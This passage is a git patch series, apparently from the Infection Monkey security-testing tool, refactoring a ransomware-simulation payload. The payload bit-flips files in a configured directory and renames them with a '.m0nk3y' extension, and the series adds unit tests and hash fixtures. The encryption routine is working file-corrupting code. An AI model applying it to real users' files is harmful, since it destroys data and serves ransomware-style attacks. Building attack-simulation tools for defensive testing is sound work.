--- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -20,10 +20,10 @@ EXTENSION = ".m0nk3y" class RansomewarePayload: def __init__(self, config: dict): - LOG.info(f"Windows dir configured for encryption is {config['windows_dir']}") - LOG.info(f"Linux dir configured for encryption is {config['linux_dir']}") + LOG.info(f"Windows dir configured for encryption is \"{config['windows_dir']}\"") + LOG.info(f"Linux dir configured for encryption is \"{config['linux_dir']}\"") - self._target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"]) + self._target_dir = config["windows_dir"] if is_windows_os() else config["linux_dir"] self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() self._valid_file_extensions_for_encryption.discard(EXTENSION) @@ -32,13 +32,16 @@ class RansomewarePayload: self._encrypt_files(file_list) def _find_files(self): + if not self._target_dir: + return [] + file_filters = [ file_extension_filter(self._valid_file_extensions_for_encryption), is_not_shortcut_filter, is_not_symlink_filter, ] - all_files = get_all_regular_files_in_directory(self._target_dir) + all_files = get_all_regular_files_in_directory(Path(self._target_dir)) return filter_files(all_files, file_filters) def _encrypt_files(self, file_list): From ab40518881f85b5a2f7d0ac3ba8c38300b34cba7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 08:56:12 -0400 Subject: [PATCH 10/22] agent: Extract bitflip encryption into its own class --- .../ransomware_bitflip_encryptor.py | 32 +++++++++++++++++++ .../ransomware/ransomware_payload.py | 28 ++-------------- 2 files changed, 35 insertions(+), 25 deletions(-) create mode 100644 monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py diff --git a/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py b/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py new file mode 100644 index 000000000..672633d1d --- /dev/null +++ b/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py @@ -0,0 +1,32 @@ +from pathlib import Path +from typing import List + +from infection_monkey.utils import bit_manipulators + + +class RansomwareBitflipEncryptor: + def __init__(self, new_file_extension, chunk_size=64): + self._new_file_extension = new_file_extension + self._chunk_size = chunk_size + + def _add_extension(self, filepath: Path): + new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") + filepath.rename(new_filepath) + + def encrypt_files(self, file_list: List[Path]): + for filepath in file_list: + self._encrypt_single_file_in_place(filepath) + self._add_extension(filepath) + + def _encrypt_single_file_in_place(self, filepath: Path): + with open(filepath, "rb+") as f: + data = f.read(self._chunk_size) + while data: + num_bytes_read = len(data) + + encrypted_data = bit_manipulators.flip_bits(data) + + f.seek(-num_bytes_read, 1) + f.write(encrypted_data) + + data = f.read(self._chunk_size) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 49478974b..a1c9aceff 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,8 +1,8 @@ import logging from pathlib import Path +from infection_monkey.ransomware.ransomware_bitflip_encryptor import RansomwareBitflipEncryptor from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION -from infection_monkey.utils import bit_manipulators from infection_monkey.utils.dir_utils import ( file_extension_filter, filter_files, @@ -14,7 +14,6 @@ from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) -CHUNK_SIZE = 64 EXTENSION = ".m0nk3y" @@ -26,10 +25,11 @@ class RansomewarePayload: self._target_dir = config["windows_dir"] if is_windows_os() else config["linux_dir"] self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() self._valid_file_extensions_for_encryption.discard(EXTENSION) + self._encryptor = RansomwareBitflipEncryptor(EXTENSION) def run_payload(self): file_list = self._find_files() - self._encrypt_files(file_list) + self._encryptor.encrypt_files(file_list) def _find_files(self): if not self._target_dir: @@ -43,25 +43,3 @@ class RansomewarePayload: all_files = get_all_regular_files_in_directory(Path(self._target_dir)) return filter_files(all_files, file_filters) - - def _encrypt_files(self, file_list): - for filepath in file_list: - self._encrypt_file(filepath) - self._add_extension(filepath) - - def _encrypt_file(self, filepath): - with open(filepath, "rb+") as f: - data = f.read(CHUNK_SIZE) - while data: - num_bytes_read = len(data) - - encrypted_data = bit_manipulators.flip_bits(data) - - f.seek(-num_bytes_read, 1) - f.write(encrypted_data) - - data = f.read(CHUNK_SIZE) - - def _add_extension(self, filepath: Path): - new_filepath = filepath.with_suffix(f"{filepath.suffix}{EXTENSION}") - filepath.rename(new_filepath) From 45ba743418740fc177c434569125876ab863ff5f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 09:01:42 -0400 Subject: [PATCH 11/22] tests: Move hash_file() into tests/utils.py --- .../ransomware/test_ransomware_payload.py | 12 +----------- monkey/tests/utils.py | 11 +++++++++++ 2 files changed, 12 insertions(+), 11 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 263de0dd3..df62af6ac 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -1,10 +1,9 @@ -import hashlib import os import shutil from pathlib import Path import pytest -from tests.utils import is_user_admin +from tests.utils import hash_file, is_user_admin from infection_monkey.ransomware.ransomware_payload import EXTENSION, RansomewarePayload @@ -33,15 +32,6 @@ TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 = ( ) -def hash_file(filepath: Path): - sha256 = hashlib.sha256() - with open(filepath, "rb") as f: - for block in iter(lambda: f.read(65536), b""): - sha256.update(block) - - return sha256.hexdigest() - - def with_extension(filename): return f"{filename}{EXTENSION}" diff --git a/monkey/tests/utils.py b/monkey/tests/utils.py index 1e55e9bc3..2be032aad 100644 --- a/monkey/tests/utils.py +++ b/monkey/tests/utils.py @@ -1,5 +1,7 @@ import ctypes +import hashlib import os +from pathlib import Path def is_user_admin(): @@ -7,3 +9,12 @@ def is_user_admin(): return os.getuid() == 0 return ctypes.windll.shell32.IsUserAnAdmin() + + +def hash_file(filepath: Path): + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for block in iter(lambda: f.read(65536), b""): + sha256.update(block) + + return sha256.hexdigest() From d99811f83fc1da756e8c21be03625d76a2554f31 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 09:04:24 -0400 Subject: [PATCH 12/22] tests: Move ransomware_target() fixture to ransomware/conftest.py --- .../infection_monkey/ransomware/conftest.py | 13 +++++++++++++ .../ransomware/test_ransomware_payload.py | 11 ----------- 2 files changed, 13 insertions(+), 11 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py b/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py new file mode 100644 index 000000000..60b14a322 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py @@ -0,0 +1,13 @@ +import shutil +from pathlib import Path + +import pytest + + +@pytest.fixture +def ransomware_target(tmp_path, data_for_tests_dir): + ransomware_test_data = Path(data_for_tests_dir) / "ransomware_targets" + ransomware_target = tmp_path / "ransomware_target" + shutil.copytree(ransomware_test_data, ransomware_target) + + return ransomware_target diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index df62af6ac..705b10ed5 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -1,6 +1,4 @@ import os -import shutil -from pathlib import Path import pytest from tests.utils import hash_file, is_user_admin @@ -36,15 +34,6 @@ def with_extension(filename): return f"{filename}{EXTENSION}" -@pytest.fixture -def ransomware_target(tmp_path, data_for_tests_dir): - ransomware_test_data = Path(data_for_tests_dir) / "ransomware_targets" - ransomware_target = tmp_path / "ransomware_target" - shutil.copytree(ransomware_test_data, ransomware_target) - - return ransomware_target - - @pytest.fixture def ransomware_payload_config(ransomware_target): return {"linux_dir": str(ransomware_target), "windows_dir": str(ransomware_target)} From 707b40608ae2af53dfd93d147a81a0e16cd7d9b0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 09:08:36 -0400 Subject: [PATCH 13/22] tests: Extract ransomware target files to ransomware_target_files.py --- .../ransomware/ransomware_target_files.py | 23 +++++++++++ .../ransomware/test_ransomware_payload.py | 41 ++++++++----------- 2 files changed, 40 insertions(+), 24 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py b/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py new file mode 100644 index 000000000..d9940af5c --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py @@ -0,0 +1,23 @@ +SUBDIR = "subdir" +ALL_ZEROS_PDF = "all_zeros.pdf" +ALREADY_ENCRYPTED_TXT_M0NK3Y = "already_encrypted.txt.m0nk3y" +HELLO_TXT = "hello.txt" +SHORTCUT_LNK = "shortcut.lnk" +TEST_KEYBOARD_TXT = "test_keyboard.txt" +TEST_LIB_DLL = "test_lib.dll" + +ALL_ZEROS_PDF_CLEARTEXT_SHA256 = "ab3df617aaa3140f04dc53f65b5446f34a6b2bdbb1f7b78db8db4d067ba14db9" +ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 = ( + "ff5e58498962ab8bd619d3a9cd24b9298e7efc25b4967b1ce3f03b0e6de2aa7a" +) +HELLO_TXT_CLEARTEXT_SHA256 = "0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8" +SHORTCUT_LNK_CLEARTEXT_SHA256 = "5069c8b7c3c70fad55bf0f0790de787080b1b4397c4749affcd3e570ff53aad9" +TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 = ( + "9d1a38784b7eefef6384bfc4b89048017db840adace11504a947016072750b2b" +) +TEST_LIB_DLL_CLEARTEXT_SHA256 = "0922d3132f2378edf313b8c2b6609a2548879911686994ca45fc5c895a7e91b1" + +ALL_ZEROS_PDF_ENCRYPTED_SHA256 = "779c176e820dbdaf643419232cb4d2760360c8633d6fe209cf706707db799b4d" +TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 = ( + "80701f3694abdd25ef3df7166b3fc5189b2afb4df32f7d5adbfed61ad07b9cd5" +) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 705b10ed5..5fb4a00d4 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -1,34 +1,27 @@ import os import pytest +from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( + ALL_ZEROS_PDF, + ALL_ZEROS_PDF_CLEARTEXT_SHA256, + ALL_ZEROS_PDF_ENCRYPTED_SHA256, + ALREADY_ENCRYPTED_TXT_M0NK3Y, + ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256, + HELLO_TXT, + HELLO_TXT_CLEARTEXT_SHA256, + SHORTCUT_LNK, + SHORTCUT_LNK_CLEARTEXT_SHA256, + SUBDIR, + TEST_KEYBOARD_TXT, + TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, + TEST_KEYBOARD_TXT_ENCRYPTED_SHA256, + TEST_LIB_DLL, + TEST_LIB_DLL_CLEARTEXT_SHA256, +) from tests.utils import hash_file, is_user_admin from infection_monkey.ransomware.ransomware_payload import EXTENSION, RansomewarePayload -SUBDIR = "subdir" -ALL_ZEROS_PDF = "all_zeros.pdf" -ALREADY_ENCRYPTED_TXT_M0NK3Y = "already_encrypted.txt.m0nk3y" -HELLO_TXT = "hello.txt" -SHORTCUT_LNK = "shortcut.lnk" -TEST_KEYBOARD_TXT = "test_keyboard.txt" -TEST_LIB_DLL = "test_lib.dll" - -ALL_ZEROS_PDF_CLEARTEXT_SHA256 = "ab3df617aaa3140f04dc53f65b5446f34a6b2bdbb1f7b78db8db4d067ba14db9" -ALREADY_ENCRYPTED_TXT_M0NK3Y_CLEARTEXT_SHA256 = ( - "ff5e58498962ab8bd619d3a9cd24b9298e7efc25b4967b1ce3f03b0e6de2aa7a" -) -HELLO_TXT_CLEARTEXT_SHA256 = "0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8" -SHORTCUT_LNK_CLEARTEXT_SHA256 = "5069c8b7c3c70fad55bf0f0790de787080b1b4397c4749affcd3e570ff53aad9" -TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 = ( - "9d1a38784b7eefef6384bfc4b89048017db840adace11504a947016072750b2b" -) -TEST_LIB_DLL_CLEARTEXT_SHA256 = "0922d3132f2378edf313b8c2b6609a2548879911686994ca45fc5c895a7e91b1" - -ALL_ZEROS_PDF_ENCRYPTED_SHA256 = "779c176e820dbdaf643419232cb4d2760360c8633d6fe209cf706707db799b4d" -TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 = ( - "80701f3694abdd25ef3df7166b3fc5189b2afb4df32f7d5adbfed61ad07b9cd5" -) - def with_extension(filename): return f"{filename}{EXTENSION}" From f1a365def2330c7178493d47383364a900d5af11 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 09:19:46 -0400 Subject: [PATCH 14/22] agent: Add unit test for RansomwareBitflipEncryptor --- .../test_ransomware_bitflip_encryptor.py | 30 +++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py new file mode 100644 index 000000000..4be4fd1bb --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py @@ -0,0 +1,30 @@ +from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( + ALL_ZEROS_PDF, + ALL_ZEROS_PDF_CLEARTEXT_SHA256, + ALL_ZEROS_PDF_ENCRYPTED_SHA256, + TEST_KEYBOARD_TXT, + TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, + TEST_KEYBOARD_TXT_ENCRYPTED_SHA256, +) +from tests.utils import hash_file + +from infection_monkey.ransomware.ransomware_bitflip_encryptor import RansomwareBitflipEncryptor + +EXTENSION = ".new" + + +def with_extension(filename): + return f"{filename}{EXTENSION}" + + +def test_listed_files_encrypted(ransomware_target): + file_list = [ransomware_target / ALL_ZEROS_PDF, ransomware_target / TEST_KEYBOARD_TXT] + + assert hash_file(file_list[0]) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 + assert hash_file(file_list[1]) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + + encryptor = RansomwareBitflipEncryptor(".new") + encryptor.encrypt_files(file_list) + + assert hash_file(with_extension(file_list[0])) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 + assert hash_file(with_extension(file_list[1])) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 From ae0dfec3cc1e96582383c95544141871762689f5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 09:37:33 -0400 Subject: [PATCH 15/22] agent: Return results from RansomwareBitflipEncryptor.encrypt_files() --- .../ransomware_bitflip_encryptor.py | 15 ++++++-- .../test_ransomware_bitflip_encryptor.py | 37 +++++++++++++++++-- 2 files changed, 44 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py b/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py index 672633d1d..e882e2775 100644 --- a/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py +++ b/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py @@ -1,5 +1,5 @@ from pathlib import Path -from typing import List +from typing import List, Optional, Tuple from infection_monkey.utils import bit_manipulators @@ -13,10 +13,17 @@ class RansomwareBitflipEncryptor: new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") filepath.rename(new_filepath) - def encrypt_files(self, file_list: List[Path]): + def encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: + results = [] for filepath in file_list: - self._encrypt_single_file_in_place(filepath) - self._add_extension(filepath) + try: + self._encrypt_single_file_in_place(filepath) + self._add_extension(filepath) + results.append((filepath, None)) + except Exception as ex: + results.append((filepath, ex)) + + return results def _encrypt_single_file_in_place(self, filepath: Path): with open(filepath, "rb+") as f: diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py index 4be4fd1bb..9656bb671 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py @@ -18,13 +18,42 @@ def with_extension(filename): def test_listed_files_encrypted(ransomware_target): - file_list = [ransomware_target / ALL_ZEROS_PDF, ransomware_target / TEST_KEYBOARD_TXT] + orig_all_zeros = ransomware_target / ALL_ZEROS_PDF + orig_test_keyboard = ransomware_target / TEST_KEYBOARD_TXT + file_list = [orig_all_zeros, orig_test_keyboard] assert hash_file(file_list[0]) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 assert hash_file(file_list[1]) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 - encryptor = RansomwareBitflipEncryptor(".new") + encryptor = RansomwareBitflipEncryptor(EXTENSION) encryptor.encrypt_files(file_list) - assert hash_file(with_extension(file_list[0])) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 - assert hash_file(with_extension(file_list[1])) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + assert hash_file(with_extension(orig_all_zeros)) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 + assert hash_file(with_extension(orig_test_keyboard)) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + + +def test_encrypted_files_in_results(ransomware_target): + orig_all_zeros = ransomware_target / ALL_ZEROS_PDF + orig_test_keyboard = ransomware_target / TEST_KEYBOARD_TXT + file_list = [orig_all_zeros, orig_test_keyboard] + + encryptor = RansomwareBitflipEncryptor(EXTENSION) + results = encryptor.encrypt_files(file_list) + + assert len(results) == 2 + assert (orig_all_zeros, None) in results + assert (orig_test_keyboard, None) in results + + +def test_file_not_found(ransomware_target): + all_zeros = ransomware_target / ALL_ZEROS_PDF + file_list = [all_zeros] + + all_zeros.unlink() + + encryptor = RansomwareBitflipEncryptor(EXTENSION) + + results = encryptor.encrypt_files(file_list) + + assert len(results) == 1 + assert "No such file or directory" in str(results[0][1]) From 91657373895a8c778fd417cc5ff2bee591877884 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 09:40:14 -0400 Subject: [PATCH 16/22] agent: Use larger chunk size in RansomwarePayload The larger chunk size improves efficiency by reducing the number of reads. --- monkey/infection_monkey/ransomware/ransomware_payload.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index a1c9aceff..b25297d9c 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -15,6 +15,7 @@ from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) EXTENSION = ".m0nk3y" +CHUNK_SIZE = 4096 * 24 class RansomewarePayload: @@ -25,7 +26,7 @@ class RansomewarePayload: self._target_dir = config["windows_dir"] if is_windows_os() else config["linux_dir"] self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() self._valid_file_extensions_for_encryption.discard(EXTENSION) - self._encryptor = RansomwareBitflipEncryptor(EXTENSION) + self._encryptor = RansomwareBitflipEncryptor(EXTENSION, chunk_size=CHUNK_SIZE) def run_payload(self): file_list = self._find_files() From 2ea5dc6ac75cc9d34cb06ba93d78361dd9fb5ad5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 09:57:27 -0400 Subject: [PATCH 17/22] tests: Add missing test_lib.dll The .gitignore file prevents dlls from being added to git. Since this isn't a real dll, but is only used for testing, we can add it anyway. --- monkey/tests/data_for_tests/ransomware_targets/test_lib.dll | 1 + 1 file changed, 1 insertion(+) create mode 100644 monkey/tests/data_for_tests/ransomware_targets/test_lib.dll diff --git a/monkey/tests/data_for_tests/ransomware_targets/test_lib.dll b/monkey/tests/data_for_tests/ransomware_targets/test_lib.dll new file mode 100644 index 000000000..a339b33c1 --- /dev/null +++ b/monkey/tests/data_for_tests/ransomware_targets/test_lib.dll @@ -0,0 +1 @@ +ýª\t¬•’S—Š¤,sÖ¼ˆ¾W #Aï§ÎÖ‡ç½ài|ƶÆKl;5à?ÝÐß<– ±9XÝûêĆ·â ±"TsïÒÀj-íÛZ”ü ó \ No newline at end of file From 97cf19896509b777213e33555873951657d469d1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 10:50:14 -0400 Subject: [PATCH 18/22] agent: Narrow the responsibilities of RansomwareBitflipEncryptor --- .../ransomware_bitflip_encryptor.py | 22 +------ .../ransomware/ransomware_payload.py | 26 +++++++- .../test_ransomware_bitflip_encryptor.py | 63 ++++++------------- 3 files changed, 44 insertions(+), 67 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py b/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py index e882e2775..4c297d4cb 100644 --- a/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py +++ b/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py @@ -1,31 +1,13 @@ from pathlib import Path -from typing import List, Optional, Tuple from infection_monkey.utils import bit_manipulators class RansomwareBitflipEncryptor: - def __init__(self, new_file_extension, chunk_size=64): - self._new_file_extension = new_file_extension + def __init__(self, chunk_size=64): self._chunk_size = chunk_size - def _add_extension(self, filepath: Path): - new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") - filepath.rename(new_filepath) - - def encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: - results = [] - for filepath in file_list: - try: - self._encrypt_single_file_in_place(filepath) - self._add_extension(filepath) - results.append((filepath, None)) - except Exception as ex: - results.append((filepath, ex)) - - return results - - def _encrypt_single_file_in_place(self, filepath: Path): + def encrypt_file_in_place(self, filepath: Path): with open(filepath, "rb+") as f: data = f.read(self._chunk_size) while data: diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index b25297d9c..5a4c6b412 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,5 +1,6 @@ import logging from pathlib import Path +from typing import List, Optional, Tuple from infection_monkey.ransomware.ransomware_bitflip_encryptor import RansomwareBitflipEncryptor from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION @@ -24,13 +25,16 @@ class RansomewarePayload: LOG.info(f"Linux dir configured for encryption is \"{config['linux_dir']}\"") self._target_dir = config["windows_dir"] if is_windows_os() else config["linux_dir"] + + self._new_file_extension = EXTENSION self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() - self._valid_file_extensions_for_encryption.discard(EXTENSION) - self._encryptor = RansomwareBitflipEncryptor(EXTENSION, chunk_size=CHUNK_SIZE) + self._valid_file_extensions_for_encryption.discard(self._new_file_extension) + + self._encryptor = RansomwareBitflipEncryptor(chunk_size=CHUNK_SIZE) def run_payload(self): file_list = self._find_files() - self._encryptor.encrypt_files(file_list) + self._encrypt_files(file_list) def _find_files(self): if not self._target_dir: @@ -44,3 +48,19 @@ class RansomewarePayload: all_files = get_all_regular_files_in_directory(Path(self._target_dir)) return filter_files(all_files, file_filters) + + def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: + results = [] + for filepath in file_list: + try: + self._encryptor.encrypt_file_in_place(filepath) + self._add_extension(filepath) + results.append((filepath, None)) + except Exception as ex: + results.append((filepath, ex)) + + return results + + def _add_extension(self, filepath: Path): + new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") + filepath.rename(new_filepath) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py index 9656bb671..5dd584778 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_bitflip_encryptor.py @@ -1,7 +1,6 @@ +import os + from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( - ALL_ZEROS_PDF, - ALL_ZEROS_PDF_CLEARTEXT_SHA256, - ALL_ZEROS_PDF_ENCRYPTED_SHA256, TEST_KEYBOARD_TXT, TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, TEST_KEYBOARD_TXT_ENCRYPTED_SHA256, @@ -10,50 +9,26 @@ from tests.utils import hash_file from infection_monkey.ransomware.ransomware_bitflip_encryptor import RansomwareBitflipEncryptor -EXTENSION = ".new" + +def test_file_encrypted(ransomware_target): + test_keyboard = ransomware_target / TEST_KEYBOARD_TXT + + assert hash_file(test_keyboard) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + + encryptor = RansomwareBitflipEncryptor(chunk_size=64) + encryptor.encrypt_file_in_place(test_keyboard) + + assert hash_file(test_keyboard) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 -def with_extension(filename): - return f"{filename}{EXTENSION}" +def test_file_encrypted_in_place(ransomware_target): + test_keyboard = ransomware_target / TEST_KEYBOARD_TXT + expected_inode = os.stat(test_keyboard).st_ino -def test_listed_files_encrypted(ransomware_target): - orig_all_zeros = ransomware_target / ALL_ZEROS_PDF - orig_test_keyboard = ransomware_target / TEST_KEYBOARD_TXT - file_list = [orig_all_zeros, orig_test_keyboard] + encryptor = RansomwareBitflipEncryptor(chunk_size=64) + encryptor.encrypt_file_in_place(test_keyboard) - assert hash_file(file_list[0]) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 - assert hash_file(file_list[1]) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 + actual_inode = os.stat(test_keyboard).st_ino - encryptor = RansomwareBitflipEncryptor(EXTENSION) - encryptor.encrypt_files(file_list) - - assert hash_file(with_extension(orig_all_zeros)) == ALL_ZEROS_PDF_ENCRYPTED_SHA256 - assert hash_file(with_extension(orig_test_keyboard)) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 - - -def test_encrypted_files_in_results(ransomware_target): - orig_all_zeros = ransomware_target / ALL_ZEROS_PDF - orig_test_keyboard = ransomware_target / TEST_KEYBOARD_TXT - file_list = [orig_all_zeros, orig_test_keyboard] - - encryptor = RansomwareBitflipEncryptor(EXTENSION) - results = encryptor.encrypt_files(file_list) - - assert len(results) == 2 - assert (orig_all_zeros, None) in results - assert (orig_test_keyboard, None) in results - - -def test_file_not_found(ransomware_target): - all_zeros = ransomware_target / ALL_ZEROS_PDF - file_list = [all_zeros] - - all_zeros.unlink() - - encryptor = RansomwareBitflipEncryptor(EXTENSION) - - results = encryptor.encrypt_files(file_list) - - assert len(results) == 1 - assert "No such file or directory" in str(results[0][1]) + assert expected_inode == actual_inode From 1929ea7dae3e823578f332401a54512e0dbfe27b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 11:01:58 -0400 Subject: [PATCH 19/22] agent: Add file_selectors.select_production_safe_target_files() --- .../ransomware/file_selectors.py | 21 +++++++++++++++++++ .../ransomware/ransomware_payload.py | 21 +++++-------------- 2 files changed, 26 insertions(+), 16 deletions(-) create mode 100644 monkey/infection_monkey/ransomware/file_selectors.py diff --git a/monkey/infection_monkey/ransomware/file_selectors.py b/monkey/infection_monkey/ransomware/file_selectors.py new file mode 100644 index 000000000..f34bc9ca4 --- /dev/null +++ b/monkey/infection_monkey/ransomware/file_selectors.py @@ -0,0 +1,21 @@ +from pathlib import Path +from typing import List, Set + +from infection_monkey.utils.dir_utils import ( + file_extension_filter, + filter_files, + get_all_regular_files_in_directory, + is_not_shortcut_filter, + is_not_symlink_filter, +) + + +def select_production_safe_target_files(target_dir: Path, extensions: Set) -> List[Path]: + file_filters = [ + file_extension_filter(extensions), + is_not_shortcut_filter, + is_not_symlink_filter, + ] + + all_files = get_all_regular_files_in_directory(target_dir) + return filter_files(all_files, file_filters) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 5a4c6b412..edb2e76a4 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -2,15 